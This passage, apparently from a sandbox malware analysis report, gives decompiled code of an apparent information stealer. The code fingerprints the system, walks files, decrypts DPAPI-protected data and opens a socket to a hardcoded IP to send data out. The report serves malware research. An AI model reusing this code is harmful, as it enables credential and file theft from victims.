API ID: CriticalHeapSection$AllocateCurrentDevicesDisplayEnterEnumInfoLeaveProcessProfileSystem
String ID: - CPU: %s (%d cores)$- HWID: %s$- VideoAdapter #%d: %s
API String ID: 1497829079-3876982446
Opcode ID: 7ed4f4cf5c57c3768017a867faf82b36a478bd990bb2516da6f7a2b0e17520bc
Instruction ID: fce1585aefa9edb7a71f63c6e6f6556e99bde605c9f25db311bf12410d5e1b5f
Opcode Fuzzy Hash: 7ed4f4cf5c57c3768017a867faf82b36a478bd990bb2516da6f7a2b0e17520bc
Instruction Fuzzy Hash: F941D671518305DBD720DF14DC81FABB7E8EBD4790F00892DF9498B281E671D958CB62

Uniqueness

Uniqueness Score: -1.00%

Function 002B1D2F Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E002B1D2F(intOrPtr _a4) {
				struct _WIN32_FIND_DATAW _v596;
				short _v600;
				short _v602;
				short _v604;
				short _v606;
				char _v608;
				signed int _v612;
				intOrPtr _v616;
				void* _t38;
				WCHAR* _t39;
				intOrPtr _t42;
				signed int _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				void* _t51;
				int _t54;
				WCHAR* _t57;
				WCHAR* _t65;
				void* _t75;
				WCHAR* _t95;
				WCHAR* _t100;
				signed int _t101;
				signed int _t102;
				void* _t104;
				void* _t105;

				_t104 = (_t102 & 0xfffffff8) - 0x268;
				if(_a4 == 0) {
					L19:
					return _t38;
				}
				_t107 =  *0x2b802c - 0x81f39c19;
				if( *0x2b802c == 0x81f39c19) {
					goto L19;
				}
				_t39 =  *0x2b84f4; // 0xe187b8
				E002B35E8(_t107, _t39, L"%s\\*", _t39);
				_t105 = _t104 + 0xc;
				_t38 = FindFirstFileW( *0x2b84f4,  &_v596); // executed
				_t75 = _t38;
				if(_t75 != 0xffffffff) {
					_t42 = E002B34F0(0x208);
					_t100 =  *0x2b84f4; // 0xe187b8
					_v616 = _t42;
					_t43 = E002B3623(_t100);
					 *((short*)(_t100 + _t43 * 2 - 4)) = 0;
					_t44 = 0x44;
					_v608 = _t44;
					_t45 = 0x6f;
					_v606 = _t45;
					_t46 = 0x63;
					_v604 = _t46;
					_t47 = 0x73;
					_v602 = _t47;
					_v600 = 0;
					while(1) {
						_v612 = E002B3623(_t100) & 0x0000ffff;
						_t51 = E002B3623( &(_v596.cFileName));
						_t110 = _t51 + _v612 + 3 - 0x104;
						if(_t51 + _v612 + 3 < 0x104) {
							_push( &(_v596.cFileName));
							E002B35E8(_t110, _t100, L"%s\\%s", _t100);
							_t105 = _t105 + 0x10;
							if((_v596.dwFileAttributes & 0x00000010) == 0 || E002B3713( &(_v596.cFileName), L"..") == 0 || E002B3713( &(_v596.cFileName), ".") == 0) {
								__eflags = _v596.dwFileAttributes & 0x000000a7;
								if((_v596.dwFileAttributes & 0x000000a7) != 0) {
									__eflags = _v596.nFileSizeLow - 1 - 0x1e847e;
									if(__eflags <= 0) {
										_t101 = E002B403B( &(_v596.cFileName), __eflags);
										__eflags = _t101;
										if(_t101 != 0) {
											__eflags = E002B3B10(_t101, E002B3623(_t101) + _t62) - 0xc4a9daf5;
											if(__eflags == 0) {
												_t65 =  *0x2b84f4; // 0xe187b8
												_push( &(_t65[ *0x2b84f8 & 0x0000ffff]));
												E002B35E8(__eflags, _v616, L"%s%s",  &_v608);
												_t95 =  *0x2b84f4; // 0xe187b8
												E002B3E66(_a4, _t95, __eflags, _v616);
												_t105 = _t105 + 0x14;
												 *0x2b84fc =  *0x2b84fc + 1;
												__eflags =  *0x2b84fc;
											}
										}
										E002B351E(_t101);
									}
								}
							} else {
								E002B1D2F(_a4); // executed
							}
							_t57 =  *0x2b84f4; // 0xe187b8
							_t57[_v612] = 0;
						}
						_t54 = FindNextFileW(_t75,  &_v596); // executed
						if(_t54 == 0) {
							break;
						}
						_t100 =  *0x2b84f4; // 0xe187b8
					}
					_t38 = E002B351E(_v616);
				}
			}

0x002b1d35
0x002b1d41
0x002b1efb
0x002b1f00
0x002b1f00
0x002b1d47
0x002b1d51
0x00000000
0x00000000
0x002b1d57
0x002b1d63
0x002b1d68
0x002b1d76
0x002b1d7c
0x002b1d81
0x002b1d8c
0x002b1d91
0x002b1d99
0x002b1d9d
0x002b1da6
0x002b1dab
0x002b1dae
0x002b1db3
0x002b1db6
0x002b1dbb
0x002b1dbc
0x002b1dc3
0x002b1dc4
0x002b1dcb
0x002b1dd0
0x002b1dde
0x002b1de2
0x002b1df0
0x002b1df5
0x002b1dff
0x002b1e07
0x002b1e0c
0x002b1e14
0x002b1e47
0x002b1e4c
0x002b1e53
0x002b1e58
0x002b1e63
0x002b1e65
0x002b1e67
0x002b1e7b
0x002b1e80
0x002b1e89
0x002b1e91
0x002b1ea0
0x002b1ea9
0x002b1eb2
0x002b1eb7
0x002b1eba
0x002b1eba
0x002b1eba
0x002b1e80
0x002b1ec3
0x002b1ec3
0x002b1e58
0x002b1e3a
0x002b1e3d
0x002b1e3d
0x002b1ec8
0x002b1ed3
0x002b1ed3
0x002b1edd
0x002b1ee5
0x00000000
0x00000000
0x002b1ee7
0x002b1ee7
0x002b1ef6
0x002b1ef6

APIs

FindFirstFileW.KERNELBASE(?), ref: 002B1D76

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

FindNextFileW.KERNELBASE(00000000,?), ref: 002B1EDD

Strings

%s%s, xrefs: 002B1E97
%s\%s, xrefs: 002B1E01
%s\*, xrefs: 002B1D5D

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: CriticalFileFindHeapSection$AllocateEnterFirstLeaveNextProcess
String ID: %s%s$%s\%s$%s\*
API String ID: 3555643018-2064654797
Opcode ID: cc075d8ea38d7e0d757ca08d3e4a6fd85d239b20515e3dd89d712792f8bf7600
Instruction ID: 24db8f1787ed92357dd9ff5c4d3272d6118e964558a65882d3c0dc1346635dc7
Opcode Fuzzy Hash: cc075d8ea38d7e0d757ca08d3e4a6fd85d239b20515e3dd89d712792f8bf7600
Instruction Fuzzy Hash: 3941B5716283129BC714EF24DC55AAE73E8AF84380F54491DFC89832A1DF31DA74CB86

Uniqueness

Uniqueness Score: -1.00%

Function 002B1C87 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002B439A: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,002B44D8), ref: 002B43AC
Part of subcall function 002B439A: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,002B44D8), ref: 002B43B9

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 002B1CE6
CryptProtectData.CRYPT32(?,?,00000000,00000000,00000000,00000000,?), ref: 002B1D1C

Strings

CRYPT32.dll, xrefs: 002B1CB5
Poverty is the parent of crime., xrefs: 002B1D05

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: CryptData$HandleLibraryLoadModuleProtectUnprotect
String ID: CRYPT32.dll$Poverty is the parent of crime.
API String ID: 3642467563-1885057629
Opcode ID: 2696ae13b854b14febbe981634f8bd7a454febc09911c541c378eda417796b9f
Instruction ID: f8bf76b51cf023add07bc39e7fa0051ef3d6249d8f6488a9c6668a1445a1423c
Opcode Fuzzy Hash: 2696ae13b854b14febbe981634f8bd7a454febc09911c541c378eda417796b9f
Instruction Fuzzy Hash: FA115EB5D0020DABCB10DF99C8819EEBBBCEF48350F504566E955B3240E7706E19CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 002B2192 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E002B2192() {
				long _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				int _t12;
				long _t19;

				_t12 = GetCursorPos( &_v20);
				if(_t12 == 0) {
					return _t12;
				}
				_v8 = _v20.x;
				_t4 =  &(_v20.y); // 0x2b227e
				_v12 =  *_t4;
				while(1 != 0) {
					GetCursorPos( &_v20);
					_t19 = _v20.x;
					if(_t19 != _v8) {
						L6:
						return _t19;
					}
					_t9 =  &(_v20.y); // 0x2b227e
					_t19 =  *_t9;
					if(_t19 != _v12) {
						goto L6;
					}
					Sleep(0x64); // executed
				}
				return 1;
			}

0x002b219c
0x002b21a4
0x00000000
0x00000000
0x002b21ab
0x002b21ae
0x002b21b1
0x002b21b4
0x002b21bd
0x002b21c3
0x002b21c9
0x00000000
0x00000000
0x00000000
0x002b21cb
0x002b21cb
0x002b21d1
0x00000000
0x00000000
0x002b21d7
0x002b21d7
0x002b21e2

APIs

GetCursorPos.USER32(?,?,002B227E), ref: 002B219C
GetCursorPos.USER32(?,?,002B227E), ref: 002B21BD

Strings

~"+, xrefs: 002B21AE, 002B21CB

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: Cursor
String ID: ~"+
API String ID: 3268636600-2854232872
Opcode ID: aa612d600f248c63a99eb26932bcb7673850d9b0cc3dd9bcea2b293d610e6d04
Instruction ID: 5f713dfbc2d49657ea0aeb5f1d514fc2325a6304facdaa9574acdf323590b534
Opcode Fuzzy Hash: aa612d600f248c63a99eb26932bcb7673850d9b0cc3dd9bcea2b293d610e6d04
Instruction Fuzzy Hash: ABF0BD31D34309EB8B10EFA8D8499EDB7B8EB04380F504995EA19E3241E770AA548B51

Uniqueness

Uniqueness Score: -1.00%

Function 002B351E Relevance: 3.0, APIs: 2, Instructions: 8
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E002B351E(void* __ecx) {
				void* _t1;
				char _t3;

				if(__ecx != 0) {
					_t3 = RtlFreeHeap(GetProcessHeap(), 0, __ecx); // executed
					return _t3;
				}
				return _t1;
			}

0x002b3520
0x002b352c
0x00000000
0x002b352c
0x002b3532

APIs

GetProcessHeap.KERNEL32(00000000,00000000,002B3026,?,?,?,?,?,?,?,?,?,?,?,002B35DC,?), ref: 002B3525
RtlFreeHeap.NTDLL(00000000,?,?,?,?,?,?,?,?,?,?,?,002B35DC,?,00000400,?), ref: 002B352C

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 036dce978f4c3a8a2bee5d06bee88bab0ee304daf39046eaaff4ff999d03c631
Instruction ID: d9fd696a14884332b8577c2f3de02038b5f0e3de90984b059da9f74e49a508bf
Opcode Fuzzy Hash: 036dce978f4c3a8a2bee5d06bee88bab0ee304daf39046eaaff4ff999d03c631
Instruction Fuzzy Hash: ECB0127055D101AFEF18BBA0FC2DB6F35289B84303F448E59B107D01D0C66499008730

Uniqueness

Uniqueness Score: -1.00%

Function 002B21E3 Relevance: 42.3, APIs: 14, Strings: 10, Instructions: 305
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			_entry_() {
				signed int _v5;
				signed char _v6;
				signed char _v7;
				WCHAR* _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				signed int _v40;
				void _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				char _v60;
				intOrPtr _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				void _v364;
				void* __esi;
				signed int _t92;
				signed int _t93;
				signed int _t96;
				signed char _t100;
				signed char _t112;
				signed char _t115;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				signed int _t122;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				signed int _t130;
				void* _t133;
				void* _t135;
				void* _t137;
				void* _t139;
				signed int _t152;
				signed int _t157;
				signed char _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr _t167;
				signed int _t171;
				intOrPtr _t179;
				signed int _t180;
				signed int _t181;
				signed int _t182;
				signed int _t188;
				signed int _t189;
				signed int _t190;
				intOrPtr _t202;
				void* _t204;
				void* _t221;
				void* _t223;
				void* _t224;

				_t90 = InitializeCriticalSectionAndSpinCount(0x2b84d4, 0xda3);
				if(_t90 != 0) {
					_t90 = CreateMutexA(0, 0, "f11358c3-e23b-4d3a-ac3f-581500bf05ee"); // executed
					_v52 = _t90;
					__eflags = _v52;
					if(_v52 == 0) {
						L34:
						ExitProcess(0); // executed
					}
					__eflags = GetLastError() - 0xb7;
					if(__eflags == 0) {
						goto L34;
					}
					_t204 = 0x65;
					E002B3B82( &_v44, _t204, __eflags);
					__eflags = _v40;
					if(_v40 == 0) {
						L33:
						DeleteCriticalSection(0x2b84d4);
						_t92 = 2;
						_t93 = _t92 << 1;
						__eflags = _t93;
						_t87 = _t93 + 0x2b84c0; // 0xf0006
						_t167 =  *0x2b80b4; // 0xcb0000
						 *(_t167 + 1) =  *_t87 & 0x0000ffff;
						_t90 =  *0x2b80b4(_v52);
						goto L34;
					}
					E002B355E( &_v364, 0, 0x11c);
					_v364 = 0x11c;
					_t96 = E002B44AC( &_v364, _t221); // executed
					__eflags = _t96;
					if(_t96 < 0) {
						goto L33;
					}
					E002B2192(); // executed
					_push(_v352);
					_push(_v356);
					E002B35C3(__eflags, 0, "- OperationSystem: %d:%d:%d\r\n", _v360); // executed
					_t171 = 0x47;
					memcpy(_t224 + 0x14 - 0x11c,  &_v364, _t171 << 2);
					_t100 = E002B4511(); // executed
					__eflags = (_t100 & 0x000000ff) - 1;
					if((_t100 & 0x000000ff) != 1) {
						goto L33;
					}
					 *0x2b84ec = E002B34F0(0x208);
					 *0x2b84cc = E002B34F0(0x208);
					 *0x2b84f4 = E002B34F0(0x208);
					__eflags =  *0x2b84ec;
					if( *0x2b84ec == 0) {
						L29:
						E002B3D26( &_v44, L"$d.log",  *0x2b8500,  *0x2b8504); // executed
						_t179 =  *0x2b8500; // 0x895e020
						E002B351E(_t179);
						_t180 =  *0x2b84f4; // 0xe187b8
						E002B351E(_t180);
						_t181 =  *0x2b84cc; // 0xe185a8
						E002B351E(_t181);
						_t182 =  *0x2b84ec; // 0xe17728
						E002B351E(_t182);
						_v64 = E002B3BAB( &_v44);
						E002B2192(); // executed
						while(1) {
							_t112 = E002B5002(_v40, _v64); // executed
							__eflags = _t112 & 0x000000ff;
							if((_t112 & 0x000000ff) != 0) {
								break;
							}
						}
						E002B351E(_v40);
						goto L33;
					}
					__eflags =  *0x2b84cc;
					if( *0x2b84cc == 0) {
						goto L29;
					}
					__eflags =  *0x2b84f4;
					if( *0x2b84f4 == 0) {
						goto L29;
					}
					_v20 = 0x73;
					_v19 = 0x68;
					_v18 = 0x65;
					_v17 = 0x6c;
					_v16 = 0x6c;
					_v15 = 0x33;
					_v14 = 0x32;
					_v13 = 0;
					_v60 = 0xc7652b3f;
					_v56 = _v56 & 0x00000000;
					_t207 =  &_v60;
					_t25 =  &_v20; // 0x73, executed
					_t115 = E002B439A(_t25,  &_v60); // executed
					__eflags = (_t115 & 0x000000ff) - 1;
					if((_t115 & 0x000000ff) != 1) {
						goto L29;
					}
					E002B1F03();
					_t118 = 4;
					_t119 = _t118 * 0;
					__eflags =  *((intOrPtr*)(_t119 + 0x2b802c)) - 0x81f39c19;
					if( *((intOrPtr*)(_t119 + 0x2b802c)) != 0x81f39c19) {
						L14:
						_t120 = 4;
						_t122 =  *((intOrPtr*)(_t223 + _t120 * 0 - 0x38))(0, 0x1c, 0, 0,  *0x2b84cc);
						__eflags = _t122;
						if(_t122 >= 0) {
							_t188 =  *0x2b84cc; // 0xe185a8
							 *0x2b84d0 = E002B3623(_t188);
							_t124 = 4;
							_t126 =  *((intOrPtr*)(_t223 + _t124 * 0 - 0x38))(0, 0, 0, 0,  *0x2b84f4);
							__eflags = _t126;
							if(_t126 >= 0) {
								_t189 =  *0x2b84f4; // 0xe187b8
								 *0x2b84f8 = E002B3623(_t189);
								_t128 = 4;
								_t130 =  *((intOrPtr*)(_t223 + _t128 * 0 - 0x38))(0, 0x1a, 0, 0,  *0x2b84ec);
								__eflags = _t130;
								if(_t130 >= 0) {
									_t190 =  *0x2b84ec; // 0xe17728
									 *0x2b84f0 = E002B3623(_t190);
									_t133 = CreateThread(0, 0, E002B19CF,  &_v44, 0, 0); // executed
									_v80 = _t133;
									_t135 = CreateThread(0, 0, E002B4E34,  &_v44, 0, 0); // executed
									_v76 = _t135;
									_t137 = CreateThread(0, 0, E002B1D2F,  &_v44, 0, 0); // executed
									_v72 = _t137;
									_t139 = CreateThread(0, 0, E002B4868,  &_v44, 0, 0); // executed
									_v68 = _t139;
									WaitForMultipleObjects(4,  &_v80, 1, 0xffffffff); // executed
									E002B202A(_t207); // executed
									_v5 = 0;
									while(1) {
										__eflags = (_v5 & 0x000000ff) - 3;
										if((_v5 & 0x000000ff) >= 3) {
											break;
										}
										_t157 = _v5 & 0x000000ff;
										__eflags =  *((intOrPtr*)(_t223 + _t157 * 4 - 0x4c)) - 0xffffffff;
										if( *((intOrPtr*)(_t223 + _t157 * 4 - 0x4c)) != 0xffffffff) {
											_t160 = 2;
											_t161 = _t160 << 0;
											__eflags = _t161;
											_t60 = _t161 + 0x2b84c0; // 0xf0006
											_t202 =  *0x2b80b4; // 0xcb0000
											 *(_t202 + 1) =  *_t60 & 0x0000ffff;
											 *0x2b80b4( *((intOrPtr*)(_t223 + (_v5 & 0x000000ff) * 4 - 0x4c))); // executed
										}
										_t159 = _v5 + 1;
										__eflags = _t159;
										_v5 = _t159;
									}
									E002B4ECE(0x2b84fc, 2);
									E002B4ECE(0x2b84ca, 1);
									_v6 = 0x40;
									E002B4ECE( &_v6, 1);
									E002B4ECE("Transactions", _v6 & 0x000000ff);
									_v7 = 0x24;
									E002B4ECE( &_v7, 1);
									E002B4ECE("f11358c3-e23b-4d3a-ac3f-581500bf05ee", _v7 & 0x000000ff);
									_v12 = E002B34F0(0x208);
									__eflags = _v12;
									if(_v12 != 0) {
										GetModuleFileNameW(0, _v12, 0x208);
									}
									_t152 = E002B3623(_v12) << 1;
									__eflags = _t152;
									_v48 = _t152;
									E002B4ECE( &_v48, 2);
									E002B4ECE(_v12, _v48);
									E002B351E(_v12);
									goto L29;
								}
								ExitProcess(0);
							}
							ExitProcess(0);
						}
						ExitProcess(0);
					}
					_v32 = 0x6b;
					_v31 = 0x65;
					_v30 = 0x72;
					_v29 = 0x6e;
					_v28 = 0x65;
					_v27 = 0x6c;
					_v26 = 0x33;
					_v25 = 0x32;
					_v24 = 0;
					_t207 = 0x2b802c;
					_t36 =  &_v32; // 0x6b
					_t90 = E002B439A(_t36, 0x2b802c) & 0x000000ff;
					__eflags = _t90 - 2;
					if(_t90 == 2) {
						goto L14;
					}
					L35:
					return _t90;
				}
				goto L35;
			}

0x002b21f8
0x002b2200
0x002b2210
0x002b2216
0x002b2219
0x002b221d
0x002b2660
0x002b2662
0x002b2662
0x002b2229
0x002b222e
0x00000000
0x00000000
0x002b2236
0x002b223a
0x002b223f
0x002b2243
0x002b2637
0x002b263c
0x002b2644
0x002b2645
0x002b2645
0x002b2647
0x002b264e
0x002b2654
0x002b265a
0x00000000
0x002b265a
0x002b2256
0x002b225c
0x002b226c
0x002b2271
0x002b2273
0x00000000
0x00000000
0x002b2279
0x002b227e
0x002b2284
0x002b2297
0x002b22a7
0x002b22b0
0x002b22b2
0x002b22c0
0x002b22c3
0x00000000
0x00000000
0x002b22d3
0x002b22e2
0x002b22f1
0x002b22f6
0x002b22fd
0x002b25c2
0x002b25d6
0x002b25dd
0x002b25e3
0x002b25e8
0x002b25ee
0x002b25f3
0x002b25f9
0x002b25fe
0x002b2604
0x002b2611
0x002b2614
0x002b2619
0x002b261f
0x002b2629
0x002b262b
0x00000000
0x00000000
0x002b262d
0x002b2632
0x00000000
0x002b2632
0x002b2303
0x002b230a
0x00000000
0x00000000
0x002b2310
0x002b2317
0x00000000
0x00000000
0x002b231d
0x002b2321
0x002b2325
0x002b2329
0x002b232d
0x002b2331
0x002b2335
0x002b2339
0x002b233d
0x002b2344
0x002b2348
0x002b234b
0x002b234e
0x002b2356
0x002b2359
0x00000000
0x00000000
0x002b235f
0x002b2366
0x002b2367
0x002b236a
0x002b2374
0x002b23b4
0x002b23c4
0x002b23c8
0x002b23cc
0x002b23ce
0x002b23d8
0x002b23e3
0x002b23f9
0x002b23fd
0x002b2401
0x002b2403
0x002b240d
0x002b2418
0x002b242e
0x002b2432
0x002b2436
0x002b2438
0x002b2442
0x002b244d
0x002b2464
0x002b246a
0x002b247e
0x002b2484
0x002b2498
0x002b249e
0x002b24b2
0x002b24b8
0x002b24c5
0x002b24cb
0x002b24d0
0x002b24de
0x002b24e2
0x002b24e5
0x00000000
0x00000000
0x002b24e7
0x002b24eb
0x002b24f0
0x002b24f4
0x002b24f5
0x002b24f5
0x002b24f8
0x002b24ff
0x002b2505
0x002b2510
0x002b2510
0x002b24d9
0x002b24d9
0x002b24db
0x002b24db
0x002b2521
0x002b252f
0x002b2534
0x002b253f
0x002b254e
0x002b2553
0x002b255e
0x002b256d
0x002b257c
0x002b257f
0x002b2583
0x002b258f
0x002b258f
0x002b259d
0x002b259d
0x002b259f
0x002b25aa
0x002b25b5
0x002b25bd
0x00000000
0x002b25bd
0x002b243c
0x002b243c
0x002b2407
0x002b2407
0x002b23d2
0x002b23d2
0x002b2376
0x002b237a
0x002b237e
0x002b2382
0x002b2386
0x002b238a
0x002b238e
0x002b2392
0x002b2396
0x002b239a
0x002b239f
0x002b23a7
0x002b23aa
0x002b23ad
0x00000000
0x00000000
0x002b2668
0x00000000
0x002b2668
0x00000000

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(002B84D4,00000DA3), ref: 002B21F8
CreateMutexA.KERNELBASE(00000000,00000000,f11358c3-e23b-4d3a-ac3f-581500bf05ee), ref: 002B2210
GetLastError.KERNEL32 ref: 002B2223

Strings

@, xrefs: 002B2534
@M)w, xrefs: 002B2223
$d.log, xrefs: 002B25CE
kernel32, xrefs: 002B239F
shell32, xrefs: 002B234B
$, xrefs: 002B2553
- OperationSystem: %d:%d:%d, xrefs: 002B2290
f11358c3-e23b-4d3a-ac3f-581500bf05ee, xrefs: 002B2207, 002B2568
Transactions, xrefs: 002B2549
(w, xrefs: 002B22D3, 002B22F6, 002B241E, 002B2442, 002B25FE

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: CountCreateCriticalErrorInitializeLastMutexSectionSpin
String ID: $$$d.log$(w$- OperationSystem: %d:%d:%d$@$@M)w$Transactions$f11358c3-e23b-4d3a-ac3f-581500bf05ee$kernel32$shell32
API String ID: 2005177960-4285290483
Opcode ID: e011baee692cb84d53e3d3349705e33a49af1a3a135646008f85ee972af0a39e
Instruction ID: 7fe81bb446d54600f443ee8a9c03992cedf9185142c2c131996a1f28795527a8
Opcode Fuzzy Hash: e011baee692cb84d53e3d3349705e33a49af1a3a135646008f85ee972af0a39e
Instruction Fuzzy Hash: BAC13930914305EAEB25FFA4EC0ABED7B79AF54380F144555F205AA1D2CFB14A68CF21

Uniqueness

Uniqueness Score: -1.00%

Function 002B5002 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 138
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E002B5002(intOrPtr _a4, intOrPtr _a8) {
				signed int _v5;
				intOrPtr _v12;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				char _v92;
				short _v94;
				char _v96;
				char _v496;
				signed char _t74;
				signed int _t77;
				short _t81;
				signed int _t84;
				signed int _t87;
				signed int _t93;
				signed int _t97;
				signed int _t101;
				signed int _t106;
				intOrPtr _t116;
				void* _t120;

				_v80 = 0xa0f5fc93;
				_v76 = 0x5e568bb;
				_v72 = 0x74cff91f;
				_v68 = 0xa7733acd;
				_v64 = 0x59d852ad;
				_v60 = 0xa5c6d777;
				_v56 = 0x377545a2;
				_v52 = 0x8e3398bc;
				_v48 = 0xed514704;
				_v44 = _v44 & 0x00000000;
				_v40 = 0x77;
				_v39 = 0x73;
				_v38 = 0x32;
				_v37 = 0x5f;
				_v36 = 0x33;
				_v35 = 0x32;
				_v34 = 0x2e;
				_v33 = 0x64;
				_v32 = 0x6c;
				_v31 = 0x6c;
				_v30 = 0;
				_t24 =  &_v40; // 0x77, executed
				_t74 = E002B439A(_t24,  &_v80); // executed
				if((_t74 & 0x000000ff) == 9) {
					_v5 = 0;
					_v28 = 0x38;
					_v27 = 0x39;
					_v26 = 0x2e;
					_v25 = 0x32;
					_v24 = 0x33;
					_v23 = 0x38;
					_v22 = 0x2e;
					_v21 = 0x31;
					_v20 = 0x37;
					_v19 = 0x30;
					_v18 = 0x2e;
					_v17 = 0x32;
					_v16 = 0x34;
					_v15 = 0x30;
					_v14 = 0;
					_push( &_v496);
					_push(0x202);
					_t77 = 4;
					if( *((intOrPtr*)(_t120 + _t77 * 0 - 0x4c))() != 0) {
						L13:
						return _v5;
					}
					_t81 = 2;
					_v96 = _t81;
					_v94 = E002B4FF6(0x8b3);
					_t84 = 4;
					_v12 =  *((intOrPtr*)(_t120 + (_t84 << 0) - 0x4c))(_v96, 1, 0);
					if(_v12 == 0xffffffff) {
						L12:
						_t87 = 4;
						 *((intOrPtr*)(_t120 + _t87 * 7 - 0x4c))();
						goto L13;
					}
					_t52 =  &_v28; // 0x38
					E002B4F64(_t52,  &_v92);
					_t53 =  &_v28; // 0x38
					E002B355E(_t53, 0, 0xf);
					while((_v5 & 0x000000ff) == 0) {
						_push(0x10);
						_push( &_v96);
						_push(_v12);
						_t97 = 4;
